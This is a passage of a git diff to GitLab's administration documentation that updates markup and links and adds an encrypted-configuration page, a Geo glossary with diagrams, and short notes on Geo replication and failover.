+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/administration/custom_hooks.md b/doc/administration/custom_hooks.md
index 4cb8b15e4d8..0580540eef9 100644
--- a/doc/administration/custom_hooks.md
+++ b/doc/administration/custom_hooks.md
@@ -3,3 +3,6 @@ redirect_to: 'server_hooks.md'
---
This document was moved to [another location](server_hooks.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/administration/database_load_balancing.md b/doc/administration/database_load_balancing.md
index 2b25ee4bab8..45243afd8ac 100644
--- a/doc/administration/database_load_balancing.md
+++ b/doc/administration/database_load_balancing.md
@@ -1,7 +1,7 @@
---
stage: Enablement
group: Database
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Database Load Balancing **(PREMIUM ONLY)**
@@ -167,13 +167,13 @@ When the list of hosts is updated, it might take a while for the old connections
to be terminated. The `disconnect_timeout` setting can be used to enforce an
upper limit on the time it will take to terminate all old database connections.
-Some nameservers (like [Consul](https://www.consul.io/docs/agent/dns.html#udp-based-dns-queries)) can return a truncated list of hosts when
+Some nameservers (like [Consul](https://www.consul.io/docs/discovery/dns#udp-based-dns-queries)) can return a truncated list of hosts when
queried over UDP. To overcome this issue, you can use TCP for querying by setting
`use_tcp` to `true`.
### Forking
-NOTE: **Note:**
+NOTE:
Starting with GitLab 13.0, Puma is the default web server used in GitLab
all-in-one package based installations as well as GitLab Helm chart deployments.
diff --git a/doc/administration/dependency_proxy.md b/doc/administration/dependency_proxy.md
index 4683565998a..c0e0643b5de 100644
--- a/doc/administration/dependency_proxy.md
+++ b/doc/administration/dependency_proxy.md
@@ -3,3 +3,6 @@ redirect_to: 'packages/dependency_proxy.md'
---
This document was moved to [another location](packages/dependency_proxy.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/administration/encrypted_configuration.md b/doc/administration/encrypted_configuration.md
new file mode 100644
index 00000000000..01a1cf66bdc
--- /dev/null
+++ b/doc/administration/encrypted_configuration.md
@@ -0,0 +1,37 @@
+---
+stage: Enablement
+group: Distribution
+info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers"
+type: reference
+---
+
+# Encrypted Configuration **(CORE ONLY)**
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/45712) in GitLab 13.7.
+
+GitLab can read settings for certain features from encrypted settings files. The supported features are:
+
+- [LDAP `user_bn` and `password`](auth/ldap/index.md#using-encrypted-credentials)
+
+In order to enable the encrypted configuration settings, a new base key needs to be generated for
+`encrypted_settings_key_base`. The secret can be generated in the following ways:
+
+**Omnibus Installation**
+
+Starting with 13.7 the new secret is automatically generated for you, but you will need to ensure your
+`/etc/gitlab/gitlab-secrets.json` contains the same values on all nodes.
+
+**GitLab Cloud Native Helm Chart**
+
+Starting with GitLab 13.7, the new secret is automatically generated if you have the `shared-secrets` chart enabled. Otherwise, you need
+to follow the [secrets guide for adding the secret](https://docs.gitlab.com/charts/installation/secrets.html#gitlab-rails-secret).
+
+**Source Installation**
+
+The new secret can be generated by running:
+
+```shell
+bundle exec rake gitlab:env:info RAILS_ENV=production GITLAB_GENERATE_ENCRYPTED_SETTINGS_KEY_BASE=true
+```
+
+This will print general info on the GitLab instance, but will also cause the key to be generated in `<path-to-gitlab-rails>/config/secrets.yml`
diff --git a/doc/administration/environment_variables.md b/doc/administration/environment_variables.md
index 25bfc3c132d..f886e19b13d 100644
--- a/doc/administration/environment_variables.md
+++ b/doc/administration/environment_variables.md
@@ -1,7 +1,7 @@
---
stage: Enablement
group: Distribution
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference
---
diff --git a/doc/administration/external_pipeline_validation.md b/doc/administration/external_pipeline_validation.md
index cb1d35f24d5..64426a60ab0 100644
--- a/doc/administration/external_pipeline_validation.md
+++ b/doc/administration/external_pipeline_validation.md
@@ -1,7 +1,7 @@
---
stage: Verify
group: Continuous Integration
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference, howto
---
@@ -9,14 +9,14 @@ type: reference, howto
You can use an external service for validating a pipeline before it's created.
-CAUTION: **Warning:**
+WARNING:
This is an experimental feature and subject to change without notice.
## Usage
-GitLab will send a POST request to the external service URL with the pipeline
-data as payload. GitLab will then invalidate the pipeline based on the response
-code. If there's an error or the request times out, the pipeline will not be
+GitLab sends a POST request to the external service URL with the pipeline
+data as payload. GitLab then invalidates the pipeline based on the response
+code. If there's an error or the request times out, the pipeline is not
invalidated.
Response Code Legend:
diff --git a/doc/administration/feature_flags.md b/doc/administration/feature_flags.md
index 2a5260a1342..272009c1f3a 100644
--- a/doc/administration/feature_flags.md
+++ b/doc/administration/feature_flags.md
@@ -13,12 +13,12 @@ to deploy features in an early stage of development so that they can be
incrementally rolled out.
Before making them permanently available, features can be deployed behind
-flags for a [number of reasons](../development/feature_flags/process.md#when-to-use-feature-flags), such as:
+flags for a [number of reasons](../development/feature_flags/index.md#when-to-use-feature-flags), such as:
- To test the feature.
- To get feedback from users and customers while in an early stage of the development of the feature.
- To evaluate users adoption.
-- To evaluate how it impacts GitLab's performance.
+- To evaluate how it impacts the performance of GitLab.
- To build it in smaller pieces throughout releases.
Features behind flags can be gradually rolled out, typically:
@@ -36,7 +36,7 @@ error, it's very important that you [**provide feedback**](https://gitlab.com/gi
as possible so we can improve or fix it while behind a flag. When you upgrade
GitLab to an earlier version, the feature flag status may change.
-CAUTION: **Caution:**
+WARNING:
Features deployed behind feature flags may not be ready for
production use. However, disabling features behind flags that were deployed
enabled by default may also present a risk. If they're enabled, we recommend
diff --git a/doc/administration/file_hooks.md b/doc/administration/file_hooks.md
index a6610188381..5de2e4aec3f 100644
--- a/doc/administration/file_hooks.md
+++ b/doc/administration/file_hooks.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Source Code
-info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers"
+info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments"
type: reference
---
@@ -11,14 +11,14 @@ type: reference
> - Until GitLab 12.8, the feature name was Plugins.
With custom file hooks, GitLab administrators can introduce custom integrations
-without modifying GitLab's source code.
+without modifying the GitLab source code.
-NOTE: **Note:**
+NOTE:
Instead of writing and supporting your own file hook you can make changes
directly to the GitLab source code and contribute back upstream. This way we can
ensure functionality is preserved across versions and covered by tests.
-NOTE: **Note:**
+NOTE:
File hooks must be configured on the filesystem of the GitLab server. Only GitLab
server administrators will be able to complete these tasks. Explore
[system hooks](../system_hooks/system_hooks.md) or [webhooks](../user/project/integrations/webhooks.md) as an option if you do not have filesystem access.
diff --git a/doc/administration/geo/disaster_recovery/background_verification.md b/doc/administration/geo/disaster_recovery/background_verification.md
index 89a93e45b1d..f2854d0538b 100644
--- a/doc/administration/geo/disaster_recovery/background_verification.md
+++ b/doc/administration/geo/disaster_recovery/background_verification.md
@@ -1,13 +1,13 @@
---
stage: Enablement
group: Geo
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: howto
---
# Automatic background verification **(PREMIUM ONLY)**
-NOTE: **Note:**
+NOTE:
Automatic background verification of repositories and wikis was added in
GitLab EE 10.6 but is enabled by default only on GitLab EE 11.1. You can
disable or enable this feature manually by following
diff --git a/doc/administration/geo/disaster_recovery/bring_primary_back.md b/doc/administration/geo/disaster_recovery/bring_primary_back.md
index b73d3ba52a2..3f86e03bd7f 100644
--- a/doc/administration/geo/disaster_recovery/bring_primary_back.md
+++ b/doc/administration/geo/disaster_recovery/bring_primary_back.md
@@ -1,7 +1,7 @@
---
stage: Enablement
group: Geo
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: howto
---
@@ -13,7 +13,7 @@ restore your original configuration. This process consists of two steps:
1. Making the old **primary** node a **secondary** node.
1. Promoting a **secondary** node to a **primary** node.
-CAUTION: **Caution:**
+WARNING:
If you have any doubts about the consistency of the data on this node, we recommend setting it up from scratch.
## Configure the former **primary** node to be a **secondary** node
@@ -32,14 +32,14 @@ To bring the former **primary** node up to date:
sudo gitlab-ctl start
```
- NOTE: **Note:**
+ NOTE:
If you [disabled the **primary** node permanently](index.md#step-2-permanently-disable-the-primary-node),
you need to undo those steps now. For Debian/Ubuntu you just need to run
`sudo systemctl enable gitlab-runsvdir`. For CentOS 6, you need to install
the GitLab instance from scratch and set it up as a **secondary** node by
following [Setup instructions](../setup/index.md). In this case, you don't need to follow the next step.
- NOTE: **Note:**
+ NOTE:
If you [changed the DNS records](index.md#step-4-optional-updating-the-primary-domain-dns-record)
for this node during disaster recovery procedure you may need to [block
all the writes to this node](planned_failover.md#prevent-updates-to-the-primary-node)
diff --git a/doc/administration/geo/disaster_recovery/index.md b/doc/administration/geo/disaster_recovery/index.md
index 1e9b430834c..be84b260127 100644
--- a/doc/administration/geo/disaster_recovery/index.md
+++ b/doc/administration/geo/disaster_recovery/index.md
@@ -1,7 +1,7 @@
---
stage: Enablement
group: Geo
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: howto
---
@@ -13,7 +13,7 @@ failover with minimal effort, in a disaster situation.
See [Geo limitations](../index.md#limitations) for more information.
-CAUTION: **Warning:**
+WARNING:
Disaster recovery for multi-secondary configurations is in **Alpha**.
For the latest updates, check the [Disaster Recovery epic for complete maturity](https://gitlab.com/groups/gitlab-org/-/epics/590).
Multi-secondary configurations require the complete re-synchronization and re-configuration of all non-promoted secondaries and
@@ -36,7 +36,7 @@ order to avoid unnecessary data loss.
### Step 2. Permanently disable the **primary** node
-CAUTION: **Warning:**
+WARNING:
If the **primary** node goes offline, there may be data saved on the **primary** node
that has not been replicated to the **secondary** node. This data should be treated
as lost if you proceed.
@@ -58,7 +58,7 @@ must disable the **primary** node.
sudo systemctl disable gitlab-runsvdir
```
- NOTE: **Note:**
+ NOTE:
(**CentOS only**) In CentOS 6 or older, there is no easy way to prevent GitLab from being
started if the machine reboots isn't available (see [Omnibus GitLab issue #3058](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/3058)).
It may be safest to uninstall the GitLab package completely:
@@ -67,7 +67,7 @@ must disable the **primary** node.
yum remove gitlab-ee
```
- NOTE: **Note:**
+ NOTE:
(**Ubuntu 14.04 LTS**) If you are using an older version of Ubuntu
or any other distribution based on the Upstart init system, you can prevent GitLab
from starting if the machine reboots by doing the following:
@@ -133,13 +133,14 @@ Note the following when promoting a secondary:
```
1. Promote the **secondary** node to the **primary** node.
- DANGER: **Warning:**
+
+ WARNING:
In GitLab 13.2 and 13.3, promoting a secondary node to a primary while the
secondary is paused fails. Do not pause replication before promoting a
secondary. If the node is paused, be sure to resume before promoting. This
issue has been fixed in GitLab 13.4 and later.
- CAUTION: **Caution:**
+ WARNING:
If the secondary node [has been paused](../../geo/index.md#pausing-and-resuming-replication), this performs
a point-in-time recovery to the last known state.
Data that was created on the primary while the secondary was paused will be lost.
@@ -173,13 +174,13 @@ conjunction with multiple servers, as it can only
perform changes on a **secondary** with only a single machine. Instead, you must
do this manually.
-DANGER: **Warning:**
+WARNING:
In GitLab 13.2 and 13.3, promoting a secondary node to a primary while the
secondary is paused fails. Do not pause replication before promoting a
secondary. If the node is paused, be sure to resume before promoting. This
issue has been fixed in GitLab 13.4 and later.
-CAUTION: **Caution:**
+WARNING:
If the secondary node [has been paused](../../geo/index.md#pausing-and-resuming-replication), this performs
a point-in-time recovery to the last known state.
Data that was created on the primary while the secondary was paused will be lost.
@@ -300,7 +301,7 @@ secondary domain, like changing Git remotes and API URLs.
external_url 'https://<new_external_url>'
```
- NOTE: **Note:**
+ NOTE:
Changing `external_url` won't prevent access via the old secondary URL, as
long as the secondary DNS records are still intact.
diff --git a/doc/administration/geo/disaster_recovery/planned_failover.md b/doc/administration/geo/disaster_recovery/planned_failover.md
index 1238c4d8e2a..1468c5cd39d 100644
--- a/doc/administration/geo/disaster_recovery/planned_failover.md
+++ b/doc/administration/geo/disaster_recovery/planned_failover.md
@@ -1,7 +1,7 @@
---
stage: Enablement
group: Geo
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: howto
---
diff --git a/doc/administration/geo/disaster_recovery/promotion_runbook.md b/doc/administration/geo/disaster_recovery/promotion_runbook.md
index 7eb6ef01aee..eef1e7ae9dd 100644
--- a/doc/administration/geo/disaster_recovery/promotion_runbook.md
+++ b/doc/administration/geo/disaster_recovery/promotion_runbook.md
@@ -3,3 +3,6 @@ redirect_to: runbooks/planned_failover_single_node.md
---
This document was moved to [another location](runbooks/planned_failover_single_node.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/administration/geo/disaster_recovery/runbooks/planned_failover_multi_node.md b/doc/administration/geo/disaster_recovery/runbooks/planned_failover_multi_node.md
index 3864445bbf4..f17990ce5f8 100644
--- a/doc/administration/geo/disaster_recovery/runbooks/planned_failover_multi_node.md
+++ b/doc/administration/geo/disaster_recovery/runbooks/planned_failover_multi_node.md
@@ -1,11 +1,11 @@
---
stage: Enablement
group: Geo
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: howto
---
-CAUTION: **Caution:**
+WARNING:
This runbook is in **alpha**. For complete, production-ready documentation, see the
[disaster recovery documentation](../index.md).
@@ -58,7 +58,7 @@ What is not covered:
### Preparation
-NOTE: **Note:**
+NOTE:
Before following any of those steps, make sure you have `root` access to the
**secondary** to promote it, since there isn't provided an automated way to
promote a Geo replica and perform a failover.
@@ -134,7 +134,7 @@ follow these steps to avoid unnecessary data loss:
1. Finish replicating and verifying all data:
- CAUTION: **Caution:**
+ WARNING:
Not all data is automatically replicated. Read more about
[what is excluded](../planned_failover.md#not-all-data-is-automatically-replicated).
@@ -163,12 +163,12 @@ follow these steps to avoid unnecessary data loss:
1. In this final step, you need to permanently disable the **primary** node.
- CAUTION: **Caution:**
+ WARNING:
When the **primary** node goes offline, there may be data saved on the **primary** node
that has not been replicated to the **secondary** node. This data should be treated
as lost if you proceed.
- TIP: **Tip:**
+ NOTE:
If you plan to [update the **primary** domain DNS record](../index.md#step-4-optional-updating-the-primary-domain-dns-record),
you may wish to lower the TTL now to speed up propagation.
@@ -188,12 +188,12 @@ follow these steps to avoid unnecessary data loss:
sudo systemctl disable gitlab-runsvdir
```
- NOTE: **Note:**
+ NOTE:
(**CentOS only**) In CentOS 6 or older, there is no easy way to prevent GitLab from being
started if the machine reboots isn't available (see [Omnibus GitLab issue #3058](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/3058)).
It may be safest to uninstall the GitLab package completely with `sudo yum remove gitlab-ee`.
- NOTE: **Note:**
+ NOTE:
(**Ubuntu 14.04 LTS**) If you are using an older version of Ubuntu
or any other distribution based on the Upstart init system, you can prevent GitLab
from starting if the machine reboots as `root` with
@@ -213,12 +213,12 @@ follow these steps to avoid unnecessary data loss:
### Promoting the **secondary** node
-NOTE: **Note:**
+NOTE:
A new **secondary** should not be added at this time. If you want to add a new
**secondary**, do this after you have completed the entire process of promoting
the **secondary** to the **primary**.
-CAUTION: **Caution:**
+WARNING:
If you encounter an `ActiveRecord::RecordInvalid: Validation failed: Name has already been taken` error during this process, read
[the troubleshooting advice](../../replication/troubleshooting.md#fixing-errors-during-a-failover-or-when-promoting-a-secondary-to-a-primary-node).
@@ -227,13 +227,13 @@ conjunction with multiple servers, as it can only
perform changes on a **secondary** with only a single machine. Instead, you must
do this manually.
-DANGER: **Warning:**
+WARNING:
In GitLab 13.2 and 13.3, promoting a secondary node to a primary while the
secondary is paused fails. Do not pause replication before promoting a
secondary. If the node is paused, be sure to resume before promoting. This
issue has been fixed in GitLab 13.4 and later.
-CAUTION: **Caution:**
+WARNING:
If the secondary node [has been paused](../../../geo/index.md#pausing-and-resuming-replication), this performs
a point-in-time recovery to the last known state.
Data that was created on the primary while the secondary was paused will be lost.
diff --git a/doc/administration/geo/disaster_recovery/runbooks/planned_failover_single_node.md b/doc/administration/geo/disaster_recovery/runbooks/planned_failover_single_node.md
index 5e847030077..a2a9350e411 100644
--- a/doc/administration/geo/disaster_recovery/runbooks/planned_failover_single_node.md
+++ b/doc/administration/geo/disaster_recovery/runbooks/planned_failover_single_node.md
@@ -1,11 +1,11 @@
---
stage: Enablement
group: Geo
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: howto
---
-CAUTION: **Caution:**
+WARNING:
This runbook is in **alpha**. For complete, production-ready documentation, see the
[disaster recovery documentation](../index.md).
@@ -46,7 +46,7 @@ What is not covered:
### Preparation
-NOTE: **Note:**
+NOTE:
Before following any of those steps, make sure you have `root` access to the
**secondary** to promote it, since there isn't provided an automated way to
promote a Geo replica and perform a failover.
@@ -122,7 +122,7 @@ follow these steps to avoid unnecessary data loss:
1. Finish replicating and verifying all data:
- CAUTION: **Caution:**
+ WARNING:
Not all data is automatically replicated. Read more about
[what is excluded](../planned_failover.md#not-all-data-is-automatically-replicated).
@@ -151,12 +151,12 @@ follow these steps to avoid unnecessary data loss:
1. In this final step, you need to permanently disable the **primary** node.
- CAUTION: **Caution:**
+ WARNING:
When the **primary** node goes offline, there may be data saved on the **primary** node
that has not been replicated to the **secondary** node. This data should be treated
as lost if you proceed.
- TIP: **Tip:**
+ NOTE:
If you plan to [update the **primary** domain DNS record](../index.md#step-4-optional-updating-the-primary-domain-dns-record),
you may wish to lower the TTL now to speed up propagation.
@@ -176,12 +176,12 @@ follow these steps to avoid unnecessary data loss:
sudo systemctl disable gitlab-runsvdir
```
- NOTE: **Note:**
+ NOTE:
(**CentOS only**) In CentOS 6 or older, there is no easy way to prevent GitLab from being
started if the machine reboots isn't available (see [Omnibus GitLab issue #3058](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/3058)).
It may be safest to uninstall the GitLab package completely with `sudo yum remove gitlab-ee`.
- NOTE: **Note:**
+ NOTE:
(**Ubuntu 14.04 LTS**) If you are using an older version of Ubuntu
or any other distribution based on the Upstart init system, you can prevent GitLab
from starting if the machine reboots as `root` with
diff --git a/doc/administration/geo/glossary.md b/doc/administration/geo/glossary.md
new file mode 100644
index 00000000000..e9d57284dd2
--- /dev/null
+++ b/doc/administration/geo/glossary.md
@@ -0,0 +1,112 @@
+---
+stage: Enablement
+group: Geo
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+type: howto
+---
+
+
+# Geo Glossary
+
+NOTE:
+We are updating the Geo documentation, user interface and commands to reflect these changes. Not all pages comply with
+these definitions yet.
+
+ These are the defined terms to describe all aspects of Geo. Using a set of clearly
+ defined terms helps us to communicate efficiently and avoids confusion. The language
+ on this page aims to be [ubiquitous](https://about.gitlab.com/handbook/communication/#ubiquitous-language)
+ and [as simple as possible](https://about.gitlab.com/handbook/communication/#simple-language).
+
+ We provide example diagrams and statements to demonstrate correct usage of terms.
+
+| Term | Definition | Scope | Discouraged synonyms |
+|---------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|--------------|-------------------------------------------------|
+| Node | An individual server that runs GitLab either with a specific role or as a whole (e.g. a Rails application node). In a cloud context this can be a specific machine type. | GitLab | instance, server |
+| Site | One or a collection of nodes running a single GitLab application. A site can be single-node or multi-node. | GitLab | deployment, installation instance |
+| Single-node site | A specific configuration of GitLab that uses exactly one node. | GitLab | single-server, single-instance
+| Multi-node site | A specific configuration of GitLab that uses more than one node. | GitLab | multi-server, multi-instance, high availability |
+| Primary site | A GitLab site that is configured to be read and writable. There can only be a single primary site. | Geo-specific | Geo deployment, Primary node |
+| Secondary site(s) | GitLab site that is configured to be read-only. There can be one or more secondary sites. | Geo-specific | Geo deployment, Secondary node |
+| Geo deployment | A collection of two or more GitLab sites with exactly one primary site being replicated by one or more secondary sites. | Geo-specific | |
+| Reference architecture(s) | A [specified configuration of GitLab for a number of users](../reference_architectures/index.md), possibly including multiple nodes and multiple sites. | GitLab | |
+| Promoting | Changing the role of a site from secondary to primary. | Geo-specific | |
+| Demoting | Changing the role of a site from primary to secondary. | Geo-specific | |
+| Failover | The entire process that shifts users from a primary Site to a secondary site. This includes promoting a secondary, but contains other parts as well e.g. scheduling maintenance. | Geo-specific | |
+
+## Examples
+
+### Single-node site
+
+```mermaid
+ graph TD
+ subgraph S-Site[Single-node site]
+ Node_3[GitLab node]
+ end
+```
+
+### Multi-node site
+
+```mermaid
+ graph TD
+ subgraph MN-Site[Multi-node site]
+ Node_1[Application node]
+ Node_2[Database node]
+ Node_3[Gitaly node]
+ end
+```
+
+### Geo deployment - Single-node sites
+
+This Geo deployment has a single-node primary site, a single-node secondary site:
+
+```mermaid
+ graph TD
+ subgraph Geo deployment
+ subgraph Primary[Primary site, single-node]
+ Node_1[GitLab node]
+ end
+ subgraph Secondary1[Secondary site 1, single-node]
+ Node_2[GitLab node]
+ end
+ end
+```
+
+### Geo deployment - Multi-node sites
+
+This Geo deployment has a multi-node primary site, a multi-node secondary site:
+
+```mermaid
+ graph TD
+ subgraph Geo deployment
+ subgraph Primary[Primary site, multi-node]
+ Node_1[Application node]
+ Node_2[Database node]
+ end
+ subgraph Secondary1[Secondary site 1, multi-node]
+ Node_5[Application node]
+ Node_6[Database node]
+ end
+ end
+```
+
+### Geo deployment - Mixed sites
+
+This Geo deployment has a multi-node primary site, a multi-node secondary site and another single-node secondary site:
+
+```mermaid
+ graph TD
+ subgraph Geo deployment
+ subgraph Primary[Primary site, multi-node]
+ Node_1[Application node]
+ Node_2[Database node]
+ Node_3[Gitaly node]
+ end
+ subgraph Secondary1[Secondary site 1, multi-node]
+ Node_5[Application node]
+ Node_6[Database node]
+ end
+ subgraph Secondary2[Secondary site 2, single-node]
+ Node_7[Single GitLab node]
+ end
+ end
+```
diff --git a/doc/administration/geo/index.md b/doc/administration/geo/index.md
index 02b907ae237..334f05ef3ce 100644
--- a/doc/administration/geo/index.md
+++ b/doc/administration/geo/index.md
@@ -1,7 +1,7 @@
---
stage: Enablement
group: Geo
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: howto
---
@@ -17,7 +17,7 @@ Geo is the solution for widely distributed development teams and for providing a
## Overview
-CAUTION: **Caution:**
+WARNING:
Geo undergoes significant changes from release to release. Upgrades **are** supported and [documented](#updating-geo), but you should ensure that you're using the right version of the documentation for your installation.
Fetching large repositories can take a long time for teams located far from a single GitLab instance.
@@ -51,6 +51,11 @@ Geo provides:
- Authentication system hooks: **Secondary** nodes receives all authentication data (like user accounts and logins) from the **primary** instance.
- An intuitive UI: **Secondary** nodes use the same web interface your team has grown accustomed to. In addition, there are visual notifications that block write operations and make it clear that a user is on a **secondary** node.
+### Gitaly Cluster
+
+Geo should not be confused with [Gitaly Cluster](../gitaly/praefect.md). For more information about
+the difference between Geo and Gitaly Cluster, see [Gitaly Cluster compared to Geo](../gitaly/praefect.md#gitaly-cluster-compared-to-geo).
+
## How it works
Your Geo instance can be used for cloning and fetching projects, in addition to reading any data. This will make working with large repositories over large distances much faster.
@@ -119,7 +124,7 @@ The following are required to run Geo:
- Git-lfs 2.4.2+ on the user side when using LFS
- All nodes must run the same GitLab version.
-Additionally, check GitLab's [minimum requirements](../../install/requirements.md),
+Additionally, check the GitLab [minimum requirements](../../install/requirements.md),
and we recommend you use:
- At least GitLab Enterprise Edition 10.0 for basic Geo features.
@@ -138,11 +143,11 @@ The following table lists basic ports that must be open between the **primary**
See the full list of ports used by GitLab in [Package defaults](https://docs.gitlab.com/omnibus/package-information/defaults.html)
-NOTE: **Note:**
+NOTE:
[Web terminal](../../ci/environments/index.md#web-terminals) support requires your load balancer to correctly handle WebSocket connections.
When using HTTP or HTTPS proxying, your load balancer must be configured to pass through the `Connection` and `Upgrade` hop-by-hop headers. See the [web terminal](../integration/terminal.md) integration guide for more details.
-NOTE: **Note:**
+NOTE:
When using HTTPS protocol for port 443, you will need to add an SSL certificate to the load balancers.
If you wish to terminate SSL at the GitLab application server instead, use TCP protocol.
@@ -150,7 +155,7 @@ If you wish to terminate SSL at the GitLab application server instead, use TCP p
We recommend that if you use LDAP on your **primary** node, you also set up secondary LDAP servers on each **secondary** node. Otherwise, users will not be able to perform Git operations over HTTP(s) on the **secondary** node using HTTP Basic Authentication. However, Git via SSH and personal access tokens will still work.
-NOTE: **Note:**
+NOTE:
It is possible for all **secondary** nodes to share an LDAP server, but additional latency can be an issue. Also, consider what LDAP server will be available in a [disaster recovery](disaster_recovery/index.md) scenario if a **secondary** node is promoted to be a **primary** node.
Check for instructions on how to set up replication in your LDAP service. Instructions will be different depending on the software or service used. For example, OpenLDAP provides [these instructions](https://www.openldap.org/doc/admin24/replication.html).
@@ -196,19 +201,21 @@ For information on how to update your Geo nodes to the latest GitLab version, se
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/35913) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.2.
-DANGER: **Warning:**
+WARNING:
In GitLab 13.2 and 13.3, promoting a secondary node to a primary while the
secondary is paused fails. Do not pause replication before promoting a
secondary. If the node is paused, be sure to resume before promoting. This
issue has been fixed in GitLab 13.4 and later.
-CAUTION: **Caution:**
+WARNING:
Pausing and resuming of replication is currently only supported for Geo installations using an
Omnibus GitLab-managed database. External databases are currently not supported.
In some circumstances, like during [upgrades](replication/updating_the_geo_nodes.md) or a [planned failover](disaster_recovery/planned_failover.md), it is desirable to pause replication between the primary and secondary.
-Pausing and resuming replication is done via a command line tool from the secondary node.
+Pausing and resuming replication is done via a command line tool from the secondary node where the `postgresql` service is enabled.
+
+If `postgresql` is on a standalone database node, ensure that `gitlab.rb` on that node contains the configuration line `gitlab_rails['geo_node_name'] = 'node_name'`, where `node_name` is the same as the `geo_name_name` on the application node.
**To Pause: (from secondary)**
@@ -250,6 +257,16 @@ For more information on tuning Geo, see [Tuning Geo](replication/tuning.md).
For an example of how to set up a location-aware Git remote URL with AWS Route53, see [Location-aware Git remote URL with AWS Route53](replication/location_aware_git_url.md).
+### Backfill
+
+Once a **secondary** node is set up, it will start replicating missing data from
+the **primary** node in a process known as **backfill**. You can monitor the
+synchronization process on each Geo node from the **primary** node's **Geo Nodes**
+dashboard in your browser.
+
+Failures that happen during a backfill are scheduled to be retried at the end
+of the backfill.
+
## Remove Geo node
For more information on removing a Geo node, see [Removing **secondary** Geo nodes](replication/remove_geo_node.md).
@@ -260,7 +277,7 @@ To find out how to disable Geo, see [Disabling Geo](replication/disable_geo.md).
## Limitations
-CAUTION: **Caution:**
+WARNING:
This list of limitations only reflects the latest version of GitLab. If you are using an older version, extra limitations may be in place.
- Pushing directly to a **secondary** node redirects (for HTTP) or proxies (for SSH) the request to the **primary** node instead of [handling it directly](https://gitlab.com/gitlab-org/gitlab/-/issues/1381), except when using Git over HTTP with credentials embedded within the URI. For example, `https://user:password@secondary.tld`.
@@ -270,7 +287,6 @@ This list of limitations only reflects the latest version of GitLab. If you are
- Real-time updates of issues/merge requests (for example, via long polling) doesn't work on the **secondary** node.
- [Selective synchronization](replication/configuration.md#selective-synchronization) applies only to files and repositories. Other datasets are replicated to the **secondary** node in full, making it inappropriate for use as an access control mechanism.
- Object pools for forked project deduplication work only on the **primary** node, and are duplicated on the **secondary** node.
-- [External merge request diffs](../merge_request_diffs.md) will not be replicated if they are on-disk, and viewing merge requests will fail. However, external MR diffs in object storage **are** supported. The default configuration (in-database) does work.
- GitLab Runners cannot register with a **secondary** node. Support for this is [planned for the future](https://gitlab.com/gitlab-org/gitlab/-/issues/3294).
